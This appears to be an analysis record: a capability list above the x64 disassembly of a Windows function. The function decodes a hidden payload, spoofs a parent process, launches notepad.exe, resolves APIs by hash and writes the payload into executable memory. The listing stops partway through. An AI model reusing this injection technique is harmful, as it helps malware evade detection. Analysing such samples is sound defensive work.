Function at 0x14002b190
Capabilities:
Access peb ldr_data
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports
Set current directory
Spoof parent pid

Disassembly:
push rsi
push rdi
push rbx
mov eax, 0x3ec0
call fcn.140030700
sub rsp, rax
mov rax, qword [0x14006c0c0]
xor rax, rsp
mov qword [rsp + 0x3eb8], rax
mov qword [rsp + 0x1b0], rcx
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x2360]
call fcn.14002c9b0
lea rdx, [rsp + 0x2360]
lea rcx, [rsp + 0x760]
call fcn.140005120
mov dword [rsp + 0x6c], 0
mov eax, dword [rsp + 0x6c]
add eax, 4
mov dword [rsp + 0x8c], eax
mov dword [rsp + 0x88], 0
mov dword [rsp + 0x68], 0
movsxd rax, dword [rsp + 0x68]
cmp rax, 0x1b58
jae 0x14002b367
movsxd rax, dword [rsp + 0x68]
movsx eax, byte [rsp + rax + 0x2360]
cmp eax, 0
je 0x14002b353
movsxd r9, dword [rsp + 0x8c]
movsxd r8, dword [rsp + 0x6c]
lea rcx, [rsp + 0x760]
lea rdx, [rsp + 0x740]
call fcn.14002c9e0
lea rcx, [rsp + 0x740]
call fcn.140006a40
cmp rax, 4
jae 0x14002b279
mov dword [rsp + 0xac], 2
jmp 0x14002b335
lea rdx, [rsp + 0x22e0]
lea rcx, [rsp + 0x740]
mov r8d, 4
xor r9d, r9d
call fcn.14002ca60
lea rcx, [rsp + 0x22e0]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xaa], ax
lea rdx, [rsp + 0x2320]
mov cx, word [rsp + 0xaa]
mov r8d, 0x32
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea rcx, [rsp + 0x2320]
call fcn.14003ab14
sub eax, 0x800
xor eax, 0x800
mov dword [rsp + 0xe4], eax
mov eax, dword [rsp + 0xe4]
movsxd rcx, dword [rsp + 0x88]
mov byte [rsp + rcx + 0x780], al
mov eax, dword [rsp + 0x88]
add eax, 1
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x8c]
add eax, 4
mov dword [rsp + 0x8c], eax
mov eax, dword [rsp + 0x6c]
add eax, 4
mov dword [rsp + 0x6c], eax
mov dword [rsp + 0xac], 0
lea rcx, [rsp + 0x740]
call fcn.140005190
mov eax, dword [rsp + 0xac]
test eax, eax
je 0x14002b351
jmp 0x14002b34f
jmp 0x14002b367
jmp 0x14002b355
jmp 0x14002b369
jmp 0x14002b357
mov eax, dword [rsp + 0x68]
add eax, 1
mov dword [rsp + 0x68], eax
jmp 0x14002b20d
jmp 0x14002b369
mov dword [rsp + 0x5e0], 0x70
lea rcx, str.C:WindowsSystem32_
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call rax
call fcn.14002b0d0
mov r9, qword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call r9
mov qword [rsp + 0x5b8], rax
mov rbx, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
lea rsi, [rsp + 0x5c0]
xor ecx, ecx
mov edx, 1
xor r8d, r8d
mov r9, rsi
call rbx
mov rdi, qword [rsp + 0x5c0]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r9, qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, rax
xor edx, edx
mov r8, rdi
call r9
mov qword [rsp + 0x648], rax
mov rcx, qword [rsp + 0x648]
mov edx, 1
xor r8d, r8d
mov r9, rsi
call rbx
mov rcx, qword [rsp + 0x648]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
mov rax, qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea r9, [rsp + 0x5b8]
xor edx, edx
mov r8d, 0x20000
call rax
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x5a8], rax
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0x598], 0
mov qword [rsp + 0x590], 0
mov dword [rsp + 0x58c], 0x8080004
mov dword [rsp + 0x588], 1
mov qword [rsp + 0x580], 0
mov qword [rsp + 0x578], 0
mov qword [rsp + 0x570], 0
lea rax, [rsp + 0x5a8]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x5a0]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x598]
mov qword [rsp + 0x4d8], rax
lea rax, [rsp + 0x590]
mov qword [rsp + 0x4d0], rax
lea rax, [rsp + 0x58c]
mov qword [rsp + 0x1c8], rax
lea rax, [rsp + 0x588]
mov qword [rsp + 0x1c0], rax
lea rax, [rsp + 0x580]
mov qword [rsp + 0x4c8], rax
lea rax, [rsp + 0x578]
mov qword [rsp + 0x4c0], rax
lea rax, [rsp + 0x570]
mov qword [rsp + 0x4b8], rax
lea rax, str.C:WindowsSystem32_notepad.exe
mov qword [rsp + 0x1b8], rax
lea rax, [rsp + 0x5b7]
mov qword [rsp + 0x4b0], rax
lea rax, [rsp + 0x668]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x248]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x668]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x650]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x250]
mov rcx, qword [rsp + 0xb0]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0xb0]
mov qword [rsp + 0x158], rcx
mov rcx, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x158]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x670], rcx
mov rcx, qword [rsp + 0xb0]
mov edx, dword [rsp + 0x670]
add rcx, rdx
mov qword [rax + 0x10], rcx
mov ecx, dword [rsp + 0x674]
mov dword [rax], ecx
lea rax, [rsp + 0x650]
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0x258]
mov rcx, qword [rax + 0x10]
cmp rcx, qword [rax + 8]
je 0x14002b805
lea rax, [rsp + 0x650]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x260]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x70], ecx
cmp eax, 0
je 0x14002b803
movabs rax, 0xf6ab26d7ecaafd77
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x268]
shr rax, 0x20
mov ecx, dword [rsp + 0x70]
mov dword [rsp + 0xec], ecx
lea rcx, [rsp + 0x650]
mov qword [rsp + 0x270], rcx
mov rcx, qword [rsp + 0x270]
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 8]
mov rcx, qword [rcx + 0x10]
mov ecx, dword [rcx + 0x20]
add r8, rcx
mov ecx, dword [rsp + 0xec]
mov ecx, dword [r8 + rcx*4]
add rdx, rcx
mov dword [rsp + 0xe8], eax
mov qword [rsp + 0x150], rdx
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0x90], eax
mov rax, qword [rsp + 0x150]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x150], rcx
mov al, byte [rax]
mov byte [rsp + 0x5c], al
cmp byte [rsp + 0x5c], 0
je 0x14002b74b
mov al, byte [rsp + 0x5c]
mov ecx, dword [rsp + 0x90]
mov byte [rsp + 0x62], al
mov dword [rsp + 0xf4], ecx
mov eax, dword [rsp + 0xf4]
movsx ecx, byte [rsp + 0x62]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [rsp + 0x90], eax
jmp 0x14002b6f4
mov eax, dword [rsp + 0x90]
movabs rcx, 0xf6ab26d7ecaafd77
mov qword [rsp + 0x278], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x278]
cmp eax, ecx
jne 0x14002b7fe
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0xf0], eax
lea rax, [rsp + 0x650]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x288], rcx
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x280], rcx
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x288]
mov rdx, qword [rsp + 0x280]
mov r8d, dword [rsp + 0xf0]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x148], rax
jmp 0x14002b84c
jmp 0x14002b660
jmp 0x14002b805
lea rax, [rsp + 0x668]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x298]
mov rcx, qword [rax]
mov qword [rsp + 0x2a0], rcx
mov rcx, qword [rsp + 0x2a0]
mov rcx, qword [rcx]
mov qword [rax], rcx
mov al, 1
test al, 1
jne 0x14002b58c
mov qword [rsp + 0x148], 0
mov rax, qword [rsp + 0x148]
mov rcx, qword [rsp + 0x1d8]
mov rdx, qword [rcx]
mov rcx, qword [rsp + 0x1d0]
mov r8, qword [rcx]
mov rcx, qword [rsp + 0x1c8]
mov r9d, dword [rcx]
mov rcx, qword [rsp + 0x1c0]
mov r10d, dword [rcx]
mov rcx, qword [rsp + 0x1b8]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], r8
mov dword [rsp + 0x28], r9d
mov dword [rsp + 0x20], r10d
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rax
mov dword [rsp + 0x560], 0x40
mov dword [rsp + 0x55c], 0x3000
mov dword [rsp + 0x558], 0x1000
mov qword [rsp + 0x550], 0
lea rax, [rsp + 0x560]
mov qword [rsp + 0x1f8], rax
lea rax, [rsp + 0x55c]
mov qword [rsp + 0x1f0], rax
lea rax, [rsp + 0x558]
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x550]
mov qword [rsp + 0x4e8], rax
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x1e0], rax
lea rax, [rsp + 0x567]
mov qword [rsp + 0x4e0], rax
lea rax, [rsp + 0x690]
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x2b0]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x690]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0x678]
mov qword [rsp + 0x2b8], rax
mov rax, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0xb8]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0xb8]
mov qword [rsp + 0x168], rcx
mov rcx, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x168]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x698], rcx
mov rcx, qword [rsp + 0xb8]
mov edx, dword [rsp + 0x698]
add rcx, rdx
mov qword [rax + 0x10], rcx
mov ecx, dword [rsp + 0x69c]
mov dword [rax], ecx
lea rax, [rsp + 0x678]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
mov rcx, qword [rax + 0x10]
cmp rcx, qword [rax + 8]
je 0x14002bb66
lea rax, [rsp + 0x678]
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x2c8]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x74], ecx
cmp eax, 0
je 0x14002bb64
movabs rax, 0xed99cf8bec6e9c32
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
shr rax, 0x20
mov ecx, dword [rsp + 0x74]
mov dword [rsp + 0xfc], ecx
lea rcx, [rsp + 0x678]
mov qword [rsp + 0x2d8], rcx
mov rcx, qword [rsp + 0x2d8]
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 8]
mov rcx, qword [rcx + 0x10]
mov ecx, dword [rcx + 0x20]
add r8, rcx
mov ecx, dword [rsp + 0xfc]
mov ecx, dword [r8 + rcx*4]
add rdx, rcx
mov dword [rsp + 0xf8], eax
mov qword [rsp + 0x160], rdx
mov eax, dword [rsp + 0xf8]
mov dword [rsp + 0x94], eax
mov rax, qword [rsp + 0x160]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x160], rcx
mov al, byte [rax]
mov byte [rsp + 0x5d], al
cmp byte [rsp + 0x5d], 0
je 0x14002bb30
mov al, byte [rsp + 0x5d]
mov ecx, dword [rsp + 0x94]
mov byte [rsp + 0x63], al
mov dword [rsp + 0x104], ecx
mov eax, dword [rsp + 0x104]
movsx ecx, byte [rsp + 0x63]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [rsp + 0x94], eax
jmp 0x14002bad9
mov eax, dword [rsp + 0x94]
movabs rcx, 0xed99cf8bec6e9c32
mov qword [rsp + 0x2e0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x2e0]
cmp eax, ecx
je 0x14002bb9c
jmp 0x14002ba45
jmp 0x14002bb66
lea rax, [rsp + 0x690]
mov qword [rsp + 0x300], rax
mov rax, qword [rsp + 0x300]
mov rcx, qword [rax]
mov qword [rsp + 0x308], rcx
mov rcx, qword [rsp + 0x308]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002b971
mov eax, dword [rsp + 0x74]
mov dword [rsp + 0x100], eax
lea rax, [rsp + 0x678]
mov qword [rsp + 0x2f8], rax
mov rax, qword [rsp + 0x2f8]
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x2f0], rcx
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x2e8], rcx
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x2f0]
mov rdx, qword [rsp + 0x2e8]
mov r8d, dword [rsp + 0x100]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0x2a8]
mov rcx, qword [rsp + 0x1f8]
mov edx, dword [rcx]
mov rcx, qword [rsp + 0x1f0]
mov r9d, dword [rcx]
mov rcx, qword [rsp + 0x1e8]
movsxd r8, dword [rcx]
mov rcx, qword [rsp + 0x1e0]
mov rcx, qword [rcx]
mov dword [rsp + 0x20], edx
xor edx, edx
call rax
mov qword [rsp + 0x568], rax
mov qword [rsp + 0x540], 0
mov qword [rsp + 0x538], 0x1b58
lea rax, [rsp + 0x780]
mov qword [rsp + 0x530], rax
lea rax, [rsp + 0x540]
mov qword [rsp + 0x4f8], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0x218], rax
lea rax, [rsp + 0x530]
mov qword [rsp + 0x210], rax
lea rax, [rsp + 0x568]
mov qword [rsp + 0x208], rax
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x200], rax
lea rax, [rsp + 0x54f]
mov qword [rsp + 0x4f0], rax
lea rax, [rsp + 0x6b8]
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x318]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6b8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0x6a0]
mov qword [rsp + 0x320], rax
mov rax, qword [rsp + 0x320]
mov rcx, qword [rsp + 0xc0]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x178], rcx
mov rcx, qword [rsp + 0x178]
mov rdx, qword [rsp + 0x178]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x6c0], rcx
mov rcx, qword [rsp + 0xc0]
mov edx, dword [rsp + 0x6c0]
add rcx, rdx
mov qword [rax + 0x10], rcx
mov ecx, dword [rsp + 0x6c4]
mov dword [rax], ecx
lea rax, [rsp + 0x6a0]
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x328]
mov rcx, qword [rax + 0x10]
cmp rcx, qword [rax + 8]
je 0x14002bf06
lea rax, [rsp + 0x6a0]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x330]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x78], ecx
cmp eax, 0
je 0x14002bf04
movabs rax, 0x60a1405935761206
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x338]
shr rax, 0x20
mov ecx, dword [rsp + 0x78]
mov dword [rsp + 0x10c], ecx
lea rcx, [rsp + 0x6a0]
mov qword [rsp + 0x340], rcx
mov rcx, qword [rsp + 0x340]
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 8]
mov rcx, qword [rcx + 0x10]
mov ecx, dword [rcx + 0x20]
add r8, rcx
mov ecx, dword [rsp + 0x10c]
mov ecx, dword [r8 + rcx*4]
add rdx, rcx
mov dword [rsp + 0x108], eax
mov qword [rsp + 0x170], rdx
mov eax, dword [rsp + 0x108]
mov dword [rsp + 0x98], eax
mov rax, qword [rsp + 0x170]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x170], rcx
mov al, byte [rax]
mov byte [rsp + 0x5e], al
cmp byte [rsp + 0x5e], 0
je 0x14002bed0
mov al, byte [rsp + 0x5e]
mov ecx, dword [rsp + 0x98]
mov byte [rsp + 0x64], al
mov dword [rsp + 0x114], ecx
mov eax, dword [rsp + 0x114]
movsx ecx, byte [rsp + 0x64]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [rsp + 0x98], eax
jmp 0x14002be79
mov eax, dword [rsp + 0x98]
movabs rcx, 0x60a1405935761206
mov qword [rsp + 0x348], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x348]
cmp eax, ecx
je 0x14002bf3c
jmp 0x14002bde5
jmp 0x14002bf06
lea rax, [rsp + 0x6b8]
mov qword [rsp + 0x368], rax
mov rax, qword [rsp + 0x368]
mov rcx, qword [rax]
mov qword [rsp + 0x370], rcx
mov rcx, qword [rsp + 0x370]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002bd11
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x110], eax
lea rax, [rsp + 0x6a0]
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x360]
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x358], rcx
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x350], rcx
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x358]
mov rdx, qword [rsp + 0x350]
mov r8d, dword [rsp + 0x110]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x310]
mov rcx, qword [rsp + 0x218]
mov r9, qword [rcx]
mov rcx, qword [rsp + 0x210]
mov r8, qword [rcx]
mov rcx, qword [rsp + 0x208]
mov rdx, qword [rcx]
mov rcx, qword [rsp + 0x200]
mov rcx, qword [rcx]
mov qword [rsp + 0x20], 0
call rax
mov dword [rsp + 0x528], 0
lea rax, [rsp + 0x5d0]
mov rcx, qword [rsp + 0x568]
mov qword [rsp + 0x520], rcx
lea rcx, [rsp + 0x528]
mov qword [rsp + 0x230], rcx
mov qword [rsp + 0x228], rax
lea rax, [rsp + 0x520]
mov qword [rsp + 0x220], rax
lea rax, [rsp + 0x52f]
mov qword [rsp + 0x500], rax
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x380]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6e0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xc8], rax
lea rax, [rsp + 0x6c8]
mov qword [rsp + 0x388], rax
mov rax, qword [rsp + 0x388]
mov rcx, qword [rsp + 0xc8]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0xc8]
mov qword [rsp + 0x188], rcx
mov rcx, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x188]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x6e8], rcx
mov rcx, qword [rsp + 0xc8]
mov edx, dword [rsp + 0x6e8]
add rcx, rdx
mov qword [rax + 0x10], rcx
mov ecx, dword [rsp + 0x6ec]
mov dword [rax], ecx
lea rax, [rsp + 0x6c8]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x390]
mov rcx, qword [rax + 0x10]
cmp rcx, qword [rax + 8]
je 0x14002c275
lea rax, [rsp + 0x6c8]
mov qword [rsp + 0x398], rax
mov rax, qword [rsp + 0x398]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x7c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x7c], ecx
cmp eax, 0
je 0x14002c273
movabs rax, 0xf79e5c773e1a3699
mov qword [rsp + 0x3a0], rax
mov rax, qword [rsp + 0x3a0]
shr rax, 0x20
mov ecx, dword [rsp + 0x7c]
mov dword [rsp + 0x11c], ecx
lea rcx, [rsp + 0x6c8]
mov qword [rsp + 0x3a8], rcx
mov rcx, qword [rsp + 0x3a8]
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 8]
mov rcx, qword [rcx + 0x10]
mov ecx, dword [rcx + 0x20]
add r8, rcx
mov ecx, dword [rsp + 0x11c]
mov ecx, dword [r8 + rcx*4]
add rdx, rcx
mov dword [rsp + 0x118], eax
mov qword [rsp + 0x180], rdx
mov eax, dword [rsp + 0x118]
mov dword [rsp + 0x9c], eax
mov rax, qword [rsp + 0x180]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x180], rcx
mov al, byte [rax]
mov byte [rsp + 0x5f], al
cmp byte [rsp + 0x5f], 0
je 0x14002c23f
mov al, byte [rsp + 0x5f]
mov ecx, dword [rsp + 0x9c]
mov byte [rsp + 0x65], al
mov dword [rsp + 0x124], ecx
mov eax, dword [rsp + 0x124]
movsx ecx, byte [rsp + 0x65]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [rsp + 0x9c], eax
jmp 0x14002c1e8
mov eax, dword [rsp + 0x9c]
movabs rcx, 0xf79e5c773e1a3699
mov qword [rsp + 0x3b0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x3b0]
cmp eax, ecx
je 0x14002c2ab
jmp 0x14002c154
jmp 0x14002c275
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x3d0]
mov rcx, qword [rax]
mov qword [rsp + 0x3d8], rcx
mov rcx, qword [rsp + 0x3d8]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002c080
mov eax, dword [rsp + 0x7c]
mov dword [rsp + 0x120], eax
lea rax, [rsp + 0x6c8]
mov qword [rsp + 0x3c8], rax
mov rax, qword [rsp + 0x3c8]
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x3c0], rcx
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x3b8], rcx
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x3c0]
mov rdx, qword [rsp + 0x3b8]
mov r8d, dword [rsp + 0x120]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x378], rax
mov rax, qword [rsp + 0x378]
mov rcx, qword [rsp + 0x230]
movsxd r8, dword [rcx]
mov rcx, qword [rsp + 0x228]
mov rdx, qword [rcx]
mov rcx, qword [rsp + 0x220]
mov rcx, qword [rcx]
call rax
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x238], rax
lea rax, [rsp + 0x51f]
mov qword [rsp + 0x508], rax
lea rax, [rsp + 0x708]
mov qword [rsp + 0x3e8], rax
mov rax, qword [rsp + 0x3e8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x708]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
mov rcx, qword [rsp + 0xd0]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0xd0]
mov qword [rsp + 0x198], rcx
mov rcx, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x198]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x710], rcx
mov rcx, qword [rsp + 0xd0]
mov edx, dword [rsp + 0x710]
add rcx, rdx
mov qword [rax + 0x10], rcx
mov ecx, dword [rsp + 0x714]
mov dword [rax], ecx
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0x3f8], rax
mov rax, qword [rsp + 0x3f8]
mov rcx, qword [rax + 0x10]
cmp rcx, qword [rax + 8]
je 0x14002c5a1
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0x400], rax
mov rax, qword [rsp + 0x400]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x80], ecx
cmp eax, 0
je 0x14002c59f
movabs rax, 0x769258715b7fc862
mov qword [rsp + 0x408], rax
mov rax, qword [rsp + 0x408]
shr rax, 0x20
mov ecx, dword [rsp + 0x80]
mov dword [rsp + 0x12c], ecx
lea rcx, [rsp + 0x6f0]
mov qword [rsp + 0x410], rcx
mov rcx, qword [rsp + 0x410]
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 8]
mov rcx, qword [rcx + 0x10]
mov ecx, dword [rcx + 0x20]
add r8, rcx
mov ecx, dword [rsp + 0x12c]
mov ecx, dword [r8 + rcx*4]
add rdx, rcx
mov dword [rsp + 0x128], eax
mov qword [rsp + 0x190], rdx
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0xa0], eax
mov rax, qword [rsp + 0x190]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x190], rcx
mov al, byte [rax]
mov byte [rsp + 0x60], al
cmp byte [rsp + 0x60], 0
je 0x14002c56b
mov al, byte [rsp + 0x60]
mov ecx, dword [rsp + 0xa0]
mov byte [rsp + 0x66], al
mov dword [rsp + 0x134], ecx
mov eax, dword [rsp + 0x134]
movsx ecx, byte [rsp + 0x66]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [rsp + 0xa0], eax
jmp 0x14002c514
mov eax, dword [rsp + 0xa0]
movabs rcx, 0x769258715b7fc862
mov qword [rsp + 0x418], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x418]
cmp eax, ecx
je 0x14002c5d7
jmp 0x14002c477
jmp 0x14002c5a1
lea rax, [rsp + 0x708]
mov qword [rsp + 0x438], rax
mov rax, qword [rsp + 0x438]
mov rcx, qword [rax]
mov qword [rsp + 0x440], rcx
mov rcx, qword [rsp + 0x440]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002c3a0
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x130], eax
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0x430], rax
mov rax, qword [rsp + 0x430]
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x428], rcx
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x420], rcx
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x428]
mov rdx, qword [rsp + 0x420]
mov r8d, dword [rsp + 0x130]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
mov rcx, qword [rsp + 0x238]
mov rcx, qword [rcx]
call rax
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x240], rax
lea rax, [rsp + 0x51e]
mov qword [rsp + 0x510], rax
lea rax, [rsp + 0x730]
mov qword [rsp + 0x450], rax
mov rax, qword [rsp + 0x450]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x730]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x718]
mov qword [rsp + 0x458], rax
mov rax, qword [rsp + 0x458]
mov rcx, qword [rsp + 0xd8]
mov qword [rax + 8], rcx
